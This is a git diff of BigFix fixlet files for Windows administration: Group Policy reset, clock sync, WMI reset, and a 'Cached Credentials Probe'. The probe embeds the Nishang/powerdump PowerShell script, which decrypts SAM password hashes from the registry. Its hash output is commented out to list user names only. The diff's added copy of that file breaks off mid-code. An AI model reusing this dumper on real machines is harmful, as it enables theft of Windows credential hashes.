+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+
+delete __createfile
+delete run.bat
+
+createfile until _end_
+RD /S /Q &quot;%WinDir%\System32\GroupPolicyUsers&quot;
+RD /S /Q &quot;%WinDir%\System32\GroupPolicy&quot;
+echo n | gpupdate /target:computer /force /wait:120
+echo n | gpupdate /target:user /force /wait:120
+_end_
+
+move __createfile run.bat
+
+waithidden run.bat</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Sync Client Clock - Windows (24110).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Sync Client Clock - Windows (24110).bes
index 222d4f7c6..63e8d0b2a 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Sync Client Clock - Windows (24110).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Sync Client Clock - Windows (24110).bes	
@@ -1,37 +1,37 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Sync Client Clock - Windows
-  ID       : 24110
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-04-22T05:02:28
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Sync Client Clock - Windows</Title>
-    <Description><![CDATA[<P>This fixlet forces a sync of the client clock on Windows.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-04-21</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-waithidden net stop w32time
-waithidden net start w32time
-waithidden w32tm /resync /rediscover</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Sync Client Clock - Windows
+  ID       : 24110
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-04-22T05:02:28
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Sync Client Clock - Windows</Title>
+    <Description><![CDATA[<P>This fixlet forces a sync of the client clock on Windows.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-04-21</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+waithidden net stop w32time
+waithidden net start w32time
+waithidden w32tm /resync /rediscover</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - WMI Repository Reset - Windows (22648).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - WMI Repository Reset - Windows (22648).bes
index 4aab5bddf..ffebf9103 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - WMI Repository Reset - Windows (22648).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - WMI Repository Reset - Windows (22648).bes	
@@ -1,57 +1,57 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - WMI Repository Reset - Windows
-  ID       : 22648
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-11-22T09:18:02
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - WMI Repository Reset - Windows</Title>
-    <Description><![CDATA[<P>This fixlet will reset WMI it will be relevant on any Windows computer.</P>
-<P><STRONG><FONT color=#ff0000>NOTE</FONT></STRONG>: Setting this fixlet to reapply will cause it to constantly reset the WMI repository. Apply once and DO NOT reapply.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Category>Windows Management Interface</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-24</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Action ID="Action23640">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-delete __createfile
-delete wmi_simple.bat
-
-createfile until __END
-
-taskkill /IM "wmiprvse.exe" /f
-net stop winmgmt /Y
-
-winmgmt /resetrepository
-for /f %%s in ('dir /b *.mof *.mfl') do mofcomp %%s
-for /f %%s in ('dir /b *.dll') do regsvr32 /s %%s
-
-net start winmgmt
-
-__END
-
-
-copy __createfile wmi_simple.bat
-
-waithidden cmd.exe /c wmi_simple.bat > {value of variable "temp" of environment}\wmi_simple.log 2>&1]]></ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - WMI Repository Reset - Windows
+  ID       : 22648
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-11-22T09:18:02
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - WMI Repository Reset - Windows</Title>
+    <Description><![CDATA[<P>This fixlet will reset WMI it will be relevant on any Windows computer.</P>
+<P><STRONG><FONT color=#ff0000>NOTE</FONT></STRONG>: Setting this fixlet to reapply will cause it to constantly reset the WMI repository. Apply once and DO NOT reapply.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Category>Windows Management Interface</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-24</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action23640">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+delete __createfile
+delete wmi_simple.bat
+
+createfile until __END
+
+taskkill /IM "wmiprvse.exe" /f
+net stop winmgmt /Y
+
+winmgmt /resetrepository
+for /f %%s in ('dir /b *.mof *.mfl') do mofcomp %%s
+for /f %%s in ('dir /b *.dll') do regsvr32 /s %%s
+
+net start winmgmt
+
+__END
+
+
+copy __createfile wmi_simple.bat
+
+waithidden cmd.exe /c wmi_simple.bat > {value of variable "temp" of environment}\wmi_simple.log 2>&1]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Windows Cached Credentials Probe - Windows (20768).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Windows Cached Credentials Probe - Windows (20768).bes
index b62c206e1..1f312ee02 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Windows Cached Credentials Probe - Windows (20768).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Windows Cached Credentials Probe - Windows (20768).bes	
@@ -1,422 +1,422 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Windows Cached Credentials Probe - Windows
-  ID       : 20768
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-06-01T15:59:07
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Windows Cached Credentials Probe - Windows</Title>
-    <Description><![CDATA[<P>This fixlet uses published methods of extracting password hashes out of Windows systems in order to extract out the user name of the users whose credentials are cached on the workstation.</P>
-<P>The script used by this fixlet stops short of extracting the password hash and ONLY extracts the user name associated with the cached credential.</P>
-<P>This script is paired with the <STRONG>Analysis: Credentials - Cached Login Creds - Windows</STRONG></P>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Windows-Credentials">https://github.com/strawgate/C3-Protect/wiki/Windows-Credentials</A></P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Category>Credential Caching</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-01</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-
-// Enter your action script here
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-parameter "Storage"="{pathname of folder "__Global" of data folder of client}\WinCreds"
-
-folder create "{parameter "Storage"}"
-
-delete __createfile
-delete powershell.ps1
-
-createfile until _end_
-<#
-.SYNOPSIS
-Nishang payload which dumps password hashes.
-
-.DESCRIPTION
-The payload dumps password hashes using the modified powerdump script from MSF. Administrator privileges are required for this script
-(but not SYSTEM privs as for the original powerdump)
-
-.EXAMPLE
-PS > Get-PassHashes
-
-.LINK
-http://www.labofapenetrationtester.com/2013/05/poshing-hashes-part-2.html?showComment=1386725874167#c8513980725823764060
-https://github.com/samratashok/nishang
-
-#>
-#######################################powerdump written by David Kennedy#########################################
-
-#######################################powerdump written by David Kennedy#########################################
-function LoadApi
-{{
-    $oldErrorAction = $global:ErrorActionPreference;
-    $global:ErrorActionPreference = "SilentlyContinue";
-    $test = [PowerDump.Native];
-    $global:ErrorActionPreference = $oldErrorAction;
-    if ($test)
-    {{
-        # already loaded
-        return;
-     }
-
-$code = @'
-using System;
-using System.Security.Cryptography;
-using System.Runtime.InteropServices;
-using System.Text;
-
-namespace PowerDump
-{{
-    public class Native
-    {{
-    [DllImport("advapi32.dll", CharSet = CharSet.Auto)]
-     public static extern int RegOpenKeyEx(
-        int hKey,
-        string subKey,
-        int ulOptions,
-        int samDesired,
-        out int hkResult);
-
-    [DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")]
-    extern public static int RegEnumKeyEx(
-        int hkey,
-        int index,
-        StringBuilder lpName,
-        ref int lpcbName,
-        int reserved,
-        StringBuilder lpClass,
-        ref int lpcbClass,
-        out long lpftLastWriteTime);
-
-    [DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)]
-    extern public static int RegQueryInfoKey(
-        int hkey,
-        StringBuilder lpClass,
-        ref int lpcbClass,
-        int lpReserved,
-        out int lpcSubKeys,
-        out int lpcbMaxSubKeyLen,
-        out int lpcbMaxClassLen,
-        out int lpcValues,
-        out int lpcbMaxValueNameLen,
-        out int lpcbMaxValueLen,
-        out int lpcbSecurityDescriptor,
-        IntPtr lpftLastWriteTime);
-
-    [DllImport("advapi32.dll", SetLastError=true)]
-    public static extern int RegCloseKey(
-        int hKey);
-
-        }
-    } // end namespace PowerDump
-
-    public class Shift {{
-        public static int   Right(int x,   int count) {{ return x >> count; }
-        public static uint  Right(uint x,  int count) {{ return x >> count; }
-        public static long  Right(long x,  int count) {{ return x >> count; }
-        public static ulong Right(ulong x, int count) {{ return x >> count; }
-        public static int    Left(int x,   int count) {{ return x << count; }
-        public static uint   Left(uint x,  int count) {{ return x << count; }
-        public static long   Left(long x,  int count) {{ return x << count; }
-        public static ulong  Left(ulong x, int count) {{ return x << count; }
-    }
-'@
-
-   $provider = New-Object Microsoft.CSharp.CSharpCodeProvider
-   $dllName = [PsObject].Assembly.Location
-   $compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters
-   $assemblies = @("System.dll", $dllName)
-   $compilerParameters.ReferencedAssemblies.AddRange($assemblies)
-   $compilerParameters.GenerateInMemory = $true
-   $compilerResults = $provider.CompileAssemblyFromSource($compilerParameters, $code)
-   if($compilerResults.Errors.Count -gt 0) {{
-     $compilerResults.Errors | % {{ Write-Error ("{{0}:`t{{1}" -f $_.Line,$_.ErrorText) }
-   }
-
-}
-
-$antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD`0");
-$almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD`0");
-$empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee);
-$empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0);
-$odd_parity = @(
-  1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
-  16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
-  32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
-  49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
-  64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
-  81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
-  97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
-  112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
-  128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
-  145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
-  161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
-  176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
-  193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
-  208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
-  224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
-  241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
-);
-
-function sid_to_key($sid)
-{{
-    $s1 = @();
-    $s1 += [char]($sid -band 0xFF);
-    $s1 += [char]([Shift]::Right($sid,8) -band 0xFF);
-    $s1 += [char]([Shift]::Right($sid,16) -band 0xFF);
-    $s1 += [char]([Shift]::Right($sid,24) -band 0xFF);
-    $s1 += $s1[0];
-    $s1 += $s1[1];
-    $s1 += $s1[2];
-    $s2 = @();
-    $s2 += $s1[3]; $s2 += $s1[0]; $s2 += $s1[1]; $s2 += $s1[2];
-    $s2 += $s2[0]; $s2 += $s2[1]; $s2 += $s2[2];
-    return ,((str_to_key $s1),(str_to_key $s2));
-}
-
-function str_to_key($s)
-{{
-    $key = @();
-    $key += [Shift]::Right([int]($s[0]), 1 );
-    $key += [Shift]::Left( $([int]($s[0]) -band 0x01), 6) -bor [Shift]::Right([int]($s[1]),2);
-    $key += [Shift]::Left( $([int]($s[1]) -band 0x03), 5) -bor [Shift]::Right([int]($s[2]),3);
-    $key += [Shift]::Left( $([int]($s[2]) -band 0x07), 4) -bor [Shift]::Right([int]($s[3]),4);
-    $key += [Shift]::Left( $([int]($s[3]) -band 0x0F), 3) -bor [Shift]::Right([int]($s[4]),5);
-    $key += [Shift]::Left( $([int]($s[4]) -band 0x1F), 2) -bor [Shift]::Right([int]($s[5]),6);
-    $key += [Shift]::Left( $([int]($s[5]) -band 0x3F), 1) -bor [Shift]::Right([int]($s[6]),7);
-    $key += $([int]($s[6]) -band 0x7F);
-    0..7 | %{{
-        $key[$_] = [Shift]::Left($key[$_], 1);
-        $key[$_] = $odd_parity[$key[$_]];
-        }
-    return ,$key;
-}
-
-function NewRC4([byte[]]$key)
-{{
-    return new-object Object |
-    Add-Member NoteProperty key $key -PassThru |
-    Add-Member NoteProperty S $null -PassThru |
-    Add-Member ScriptMethod init {{
-        if (-not $this.S)
-        {{
-            [byte[]]$this.S = 0..255;
-            0..255 | % -begin{{[long]$j=0;}{{
-                $j = ($j + $this.key[$($_ % $this.key.Length)] + $this.S[$_]) % $this.S.Length;
-                $temp = $this.S[$_]; $this.S[$_] = $this.S[$j]; $this.S[$j] = $temp;
-                }
-        }
-    } -PassThru |
-    Add-Member ScriptMethod "encrypt" {{
-        $data = $args[0];
-        $this.init();
-        $outbuf = new-object byte[] $($data.Length);
-        $S2 = $this.S[0..$this.S.Length];
-        0..$($data.Length-1) | % -begin{{$i=0;$j=0;} {{
-            $i = ($i+1) % $S2.Length;
-            $j = ($j + $S2[$i]) % $S2.Length;
-            $temp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $temp;
-            $a = $data[$_];
-            $b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ];
-            $outbuf[$_] = ($a -bxor $b);
-        }
-        return ,$outbuf;
-    } -PassThru
-}
-
-function des_encrypt([byte[]]$data, [byte[]]$key)
-{{
-    return ,(des_transform $data $key $true)
-}
-
-function des_decrypt([byte[]]$data, [byte[]]$key)
-{{
-    return ,(des_transform $data $key $false)
-}
-
-function des_transform([byte[]]$data, [byte[]]$key, $doEncrypt)
-{{
-    $des = new-object Security.Cryptography.DESCryptoServiceProvider;
-    $des.Mode = [Security.Cryptography.CipherMode]::ECB;
-    $des.Padding = [Security.Cryptography.PaddingMode]::None;
-    $des.Key = $key;
-    $des.IV = $key;
-    $transform = $null;
-    if ($doEncrypt) {{$transform = $des.CreateEncryptor();}
-    else{{$transform = $des.CreateDecryptor();}
-    $result = $transform.TransformFinalBlock($data, 0, $data.Length);
-    return ,$result;
-}
-
-function Get-RegKeyClass([string]$key, [string]$subkey)
-{{
-    switch ($Key) {{
-        "HKCR" {{ $nKey = 0x80000000} #HK Classes Root
-        "HKCU" {{ $nKey = 0x80000001} #HK Current User
-        "HKLM" {{ $nKey = 0x80000002} #HK Local Machine
-        "HKU"  {{ $nKey = 0x80000003} #HK Users
-        "HKCC" {{ $nKey = 0x80000005} #HK Current Config
-        default {{
-            throw "Invalid Key. Use one of the following options HKCR, HKCU, HKLM, HKU, HKCC"
-        }
-    }
-    $KEYQUERYVALUE = 0x1;
-    $KEYREAD = 0x19;
-    $KEYALLACCESS = 0x3F;
-    $result = "";
-    [int]$hkey=0
-    if (-not [PowerDump.Native]::RegOpenKeyEx($nkey,$subkey,0,$KEYREAD,[ref]$hkey))
-    {{
-     $classVal = New-Object Text.Stringbuilder 1024
-     [int]$len = 1024
-     if (-not [PowerDump.Native]::RegQueryInfoKey($hkey,$classVal,[ref]$len,0,[ref]$null,[ref]$null,
-      [ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,0))
-     {{
-      $result = $classVal.ToString()
-     }
-     else
-     {{
-      Write-Error "RegQueryInfoKey failed";
-     }
-     [PowerDump.Native]::RegCloseKey($hkey) | Out-Null
-    }
-    else
-    {{
-     Write-Error "Cannot open key";
-    }
-    return $result;
-}
-
-function Get-BootKey
-{{
-    $s = [string]::Join("",$("JD","Skew1","GBG","Data" | %{{Get-RegKeyClass "HKLM" "SYSTEM\CurrentControlSet\Control\Lsa\$_"}));
-    $b = new-object byte[] $($s.Length/2);
-    0..$($b.Length-1) | %{{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)}
-    $b2 = new-object byte[] 16;
-    0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 | % -begin{{$i=0;}{{$b2[$i]=$b[$_];$i++}
-    return ,$b2;
-}
-
-function Get-HBootKey
-{{
-    param([byte[]]$bootkey);
-    $aqwerty = [Text.Encoding]::ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%`0");
-    $anum = [Text.Encoding]::ASCII.GetBytes("0123456789012345678901234567890123456789`0");
-    $k = Get-Item HKLM:\SAM\SAM\Domains\Account;
-    if (-not $k) {{return $null}
-    [byte[]]$F = $k.GetValue("F");
-    if (-not $F) {{return $null}
-    $rc4key = [Security.Cryptography.MD5]::Create().ComputeHash($F[0x70..0x7F] + $aqwerty + $bootkey + $anum);
-    $rc4 = NewRC4 $rc4key;
-    return ,($rc4.encrypt($F[0x80..0x9F]));
-}
-
-function Get-UserName([byte[]]$V)
-{{
-    if (-not $V) {{return $null};
-    $offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC;
-    $len = [BitConverter]::ToInt32($V[0x10..0x13],0);
-    return [Text.Encoding]::Unicode.GetString($V, $offset, $len);
-}
-
-function Get-UserHashes($u, [byte[]]$hbootkey)
-{{
-    [byte[]]$enc_lm_hash = $null; [byte[]]$enc_nt_hash = $null;
-    if ($u.HashOffset + 0x28 -lt $u.V.Length)
-    {{
-        $lm_hash_offset = $u.HashOffset + 4;
-        $nt_hash_offset = $u.HashOffset + 8 + 0x10;
-        $enc_lm_hash = $u.V[$($lm_hash_offset)..$($lm_hash_offset+0x0f)];
-        $enc_nt_hash = $u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
-    }
-    elseif ($u.HashOffset + 0x14 -lt $u.V.Length)
-    {{
-        $nt_hash_offset = $u.HashOffset + 8;
-        $enc_nt_hash = [byte[]]$u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
-    }
-    return ,(DecryptHashes $u.Rid $enc_lm_hash $enc_nt_hash $hbootkey);
-}
-
-function DecryptHashes($rid, [byte[]]$enc_lm_hash, [byte[]]$enc_nt_hash, [byte[]]$hbootkey)
-{{
-    [byte[]]$lmhash = $empty_lm; [byte[]]$nthash=$empty_nt;
-    # LM Hash
-    if ($enc_lm_hash)
-    {{
-        $lmhash = DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword;
-    }
-
-    # NT Hash
-    if ($enc_nt_hash)
-    {{
-        $nthash = DecryptSingleHash $rid $hbootkey $enc_nt_hash $antpassword;
-    }
-
-    return ,($lmhash,$nthash)
-}
-
-function DecryptSingleHash($rid,[byte[]]$hbootkey,[byte[]]$enc_hash,[byte[]]$lmntstr)
-{{
-    $deskeys = sid_to_key $rid;
-    $md5 = [Security.Cryptography.MD5]::Create();
-    $rc4_key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($rid) + $lmntstr);
-    $rc4 = NewRC4 $rc4_key;
-    $obfkey = $rc4.encrypt($enc_hash);
-    $hash = (des_decrypt  $obfkey[0..7] $deskeys[0]) +
-        (des_decrypt $obfkey[8..$($obfkey.Length - 1)] $deskeys[1]);
-    return ,$hash;
-}
-
-function Get-UserKeys
-{{
-    ls HKLM:\SAM\SAM\Domains\Account\Users |
-        where {{$_.PSChildName -match "^[0-9A-Fa-f]{{8}$"} |
-            Add-Member AliasProperty KeyName PSChildName -PassThru |
-            Add-Member ScriptProperty Rid {{[Convert]::ToInt32($this.PSChildName, 16)} -PassThru |
-            Add-Member ScriptProperty V {{[byte[]]($this.GetValue("V"))} -PassThru |
-            Add-Member ScriptProperty UserName {{Get-UserName($this.GetValue("V"))} -PassThru |
-            Add-Member ScriptProperty HashOffset {{[BitConverter]::ToUInt32($this.GetValue("V")[0x9c..0x9f],0) + 0xCC} -PassThru
-}
-
-function DumpHashes
-{{
-    LoadApi
-    $bootkey = Get-BootKey;
-    $hbootKey = Get-HBootKey $bootkey;
-    Get-UserKeys | %{{
-        $hashes = Get-UserHashes $_ $hBootKey;
-        "{{0}" -f ($_.UserName);#,$_.Rid,
-           # [BitConverter]::ToString($hashes[0]).Replace("-","").ToLower(),
-           # [BitConverter]::ToString($hashes[1]).Replace("-","").ToLower()
-
-    }
-}
-
-DumpHashes | out-file -filePath "{parameter "Storage"}\CachedUsers.txt" -encoding ASCII
-
-_end_
-
-move __createfile powershell.ps1
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File powershell.ps1]]></ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Windows Cached Credentials Probe - Windows
+  ID       : 20768
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-06-01T15:59:07
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Windows Cached Credentials Probe - Windows</Title>
+    <Description><![CDATA[<P>This fixlet uses published methods of extracting password hashes out of Windows systems in order to extract out the user name of the users whose credentials are cached on the workstation.</P>
+<P>The script used by this fixlet stops short of extracting the password hash and ONLY extracts the user name associated with the cached credential.</P>
+<P>This script is paired with the <STRONG>Analysis: Credentials - Cached Login Creds - Windows</STRONG></P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Windows-Credentials">https://github.com/strawgate/C3-Protect/wiki/Windows-Credentials</A></P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Category>Credential Caching</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-01</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+// Enter your action script here
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+parameter "Storage"="{pathname of folder "__Global" of data folder of client}\WinCreds"
+
+folder create "{parameter "Storage"}"
+
+delete __createfile
+delete powershell.ps1
+
+createfile until _end_
+<#
+.SYNOPSIS
+Nishang payload which dumps password hashes.
+
+.DESCRIPTION
+The payload dumps password hashes using the modified powerdump script from MSF. Administrator privileges are required for this script
+(but not SYSTEM privs as for the original powerdump)
+
+.EXAMPLE
+PS > Get-PassHashes
+
+.LINK
+http://www.labofapenetrationtester.com/2013/05/poshing-hashes-part-2.html?showComment=1386725874167#c8513980725823764060
+https://github.com/samratashok/nishang
+
+#>
+#######################################powerdump written by David Kennedy#########################################
+
+#######################################powerdump written by David Kennedy#########################################
+function LoadApi
+{{
+    $oldErrorAction = $global:ErrorActionPreference;
+    $global:ErrorActionPreference = "SilentlyContinue";
+    $test = [PowerDump.Native];
+    $global:ErrorActionPreference = $oldErrorAction;
+    if ($test)
+    {{
+        # already loaded
+        return;
+     }
+
+$code = @'
+using System;
+using System.Security.Cryptography;
+using System.Runtime.InteropServices;
+using System.Text;
+
+namespace PowerDump
+{{
+    public class Native
+    {{
+    [DllImport("advapi32.dll", CharSet = CharSet.Auto)]
+     public static extern int RegOpenKeyEx(
+        int hKey,
+        string subKey,
+        int ulOptions,
+        int samDesired,
+        out int hkResult);
+
+    [DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")]
+    extern public static int RegEnumKeyEx(
+        int hkey,
+        int index,
